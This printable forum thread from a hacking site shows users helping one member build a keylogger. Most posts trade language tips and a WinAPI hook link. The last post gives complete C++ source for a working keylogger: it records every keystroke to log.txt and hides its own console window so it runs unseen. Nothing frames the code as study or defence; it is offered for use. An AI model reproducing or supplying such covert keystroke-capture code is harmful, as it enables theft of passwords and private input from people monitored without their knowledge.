Sinisterly
Need to create a Keylogger - Printable Version

+- Sinisterly (https://sinister.li)
+-- Forum: Hacking (https://sinister.li/Forum-Hacking)
+--- Forum: Tutorials (https://sinister.li/Forum-Tutorials)
+--- Thread: Need to create a Keylogger (/Thread-Need-to-create-a-Keylogger)

Pages: 1 2


RE: Need to create a Keylogger - virusreloaded - 05-02-2013

I decided to go with JAVA for IP monitor
I use Turbo pascal but it has some problems using crt ... need to fix it.
And thanx for your help ... i'll soon contact you with progress
Smile


RE: Need to create a Keylogger - darkkill3rs - 05-02-2013

keylogger on visual basic what any keylogger do not installWink


RE: Need to create a Keylogger - virusreloaded - 05-02-2013

(05-02-2013, 12:37 PM)darkkill3rs Wrote: keylogger on visual basic what any keylogger do not installWink

Can you please elaborate your post? I am not able to understand what you are saying... Darkkill3rs Biggrin


RE: Need to create a Keylogger - TheDarkNight - 05-02-2013

You will have to learn c or c++ and learn how to hook using the winAPI =D

http://www.mpgh.net/forum/31-c-c-programming/94870-keyboard-hook-c.html

Did find this does look good :lol:


RE: Need to create a Keylogger - TheDarkNight - 05-02-2013

You will have to learn c or c++ and learn how to hook using the winAPI =D

http://www.mpgh.net/forum/31-c-c-programming/94870-keyboard-hook-c.html

Did find this does look good :lol:


RE: Need to create a Keylogger - noize - 05-02-2013

How about this (C++) ?

Code:
#include <iostream> using namespace std; #include <windows.h> #include <winuser.h> int Save (int key_stroke, char *file); void Stealth(); int main() { Stealth(); char i; char saveto[250]; ExpandEnvironmentStrings("log.txt",saveto,250); while (1) { for(i = 8; i <= 190; i++) { if (GetAsyncKeyState(i) == -32767) Save (i,saveto); } } system ("pause"); return 0; } int Save (int key_stroke, char *file) { if ( (key_stroke == 1) || (key_stroke == 2) ) return 0; FILE *OUTPUT_FILE; OUTPUT_FILE = fopen(file, "a+"); cout << key_stroke << endl; if (key_stroke == 8) fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]"); else if (key_stroke == 13) fprintf(OUTPUT_FILE, "%s", "\n"); else if (key_stroke == 32) fprintf(OUTPUT_FILE, "%s", " "); else if (key_stroke == VK_TAB) fprintf(OUTPUT_FILE, "%s", "[TAB]"); else if (key_stroke == VK_SHIFT) fprintf(OUTPUT_FILE, "%s", "[SHIFT]"); else if (key_stroke == VK_CONTROL) fprintf(OUTPUT_FILE, "%s", "[CONTROL]"); else if (key_stroke == VK_ESCAPE) fprintf(OUTPUT_FILE, "%s", "[ESCAPE]"); else if (key_stroke == VK_END) fprintf(OUTPUT_FILE, "%s", "[END]"); else if (key_stroke == VK_HOME) fprintf(OUTPUT_FILE, "%s", "[HOME]"); else if (key_stroke == VK_LEFT) fprintf(OUTPUT_FILE, "%s", "[LEFT]"); else if (key_stroke == VK_UP) fprintf(OUTPUT_FILE, "%s", "[UP]"); else if (key_stroke == VK_RIGHT) fprintf(OUTPUT_FILE, "%s", "[RIGHT]"); else if (key_stroke == VK_DOWN) fprintf(OUTPUT_FILE, "%s", "[DOWN]"); else if (key_stroke == 190 || key_stroke == 110) fprintf(OUTPUT_FILE, "%s", "."); else fprintf(OUTPUT_FILE, "%s", &key_stroke); fclose (OUTPUT_FILE); return 0; } void Stealth() { HWND Stealth; AllocConsole(); Stealth = FindWindowA("ConsoleWindowClass", NULL); ShowWindow(Stealth,0); }

I didn't code this, or at least not the main part of it. It saves all keystrokes in log.txt.